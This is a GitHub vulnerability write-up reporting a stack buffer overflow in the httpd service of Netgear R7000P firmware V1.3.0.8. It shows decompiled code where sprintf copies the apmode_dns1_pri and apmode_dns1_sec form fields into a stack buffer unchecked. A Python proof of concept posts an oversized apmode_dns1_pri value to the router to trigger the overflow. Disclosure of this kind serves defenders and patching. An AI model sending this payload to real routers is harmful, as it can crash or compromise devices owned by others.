


🏠 RobinWang825 / **IoT\_vuln** Public


- Code
- Issues 1
- Pull requests
- Actions
- Projects
- Security
- Insights


🔑 main ▾

IoT\_vuln/Netgear/R7000P/11/



..

  
images

  
readme.md

☰  
**adme.md**

# Netgear R7000P has a Stack Buffer Overflow Vulnerability

## Product

- 1. product information: <https://www.netgear.com>
- 2. firmware download: [http://www.downloads.netgear.com/files/GDC/R7000P/R7000P-V1.3.0.8\\_1.0.93.zip](http://www.downloads.netgear.com/files/GDC/R7000P/R7000P-V1.3.0.8_1.0.93.zip)

## Affected version

V1.3.0.8

## Vulnerability

The stack overflow vulnerability is in /usr/sbin/httpd. The vulnerability occurs in the sub\_5DE14 function, which can be accessed via the URL [http://routerlogin.net/WLG\\_ap\\_dual\\_band.htm](http://routerlogin.net/WLG_ap_dual_band.htm) .

```

228 v20 = strcmp(v59, "enable_fixed_ip_setting");
229 if ( !v20 )
230 {
231     acosNvramConfig_set((int)"ap_dyn_dns", (int)"0");
232     sub_1A54C(a1, "apmode_dns1_pri", v54, 2048);
233     sub_1A54C(a1, "apmode_dns1_sec", v53, 2048);
234     v42 = strcmp(v53, "...");
235     if ( !v42 )
236     {
237         v44 = -2569;
238         v43 = &v62;
239     }
240     if ( !v42 )
241         LOBYTE(v43[v44]) = 0;
242     sprintf(s, "%s %s", v54, v53);
243     v41 = s;
244     goto LABEL_40;
245 }

```

vuln

In this function, `apmode_dns1_pri` is controllable and will be passed into the `v54` variable and `v54` will be passed into stack `s` by `sprintf`. It is worth noting that there is no size check, which leads to a stack overflow vulnerability.

Also, `apmode_dns1_sec` is controllable and will be passed into the `v53` variable and `v53` will be passed into stack `s` by `sprintf`. It is worth noting that there is no size check, which leads to a stack overflow vulnerability.

## PoC

```
import socket
import os

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
l1 = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

ip = '192.168.0.1'
port = 80
r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
r.connect((ip, port))
rn = b'\r\n'
p1 = b'a' * 0x3000
p2 = b'apmode_dns1_pri=' + p1 # payload
p3 = b"POST /WLG_wireless_dual_band_r10.html" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) + rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2

r.send(p3)

response = r.recv(4096)
response = response.decode()
li(response)
```

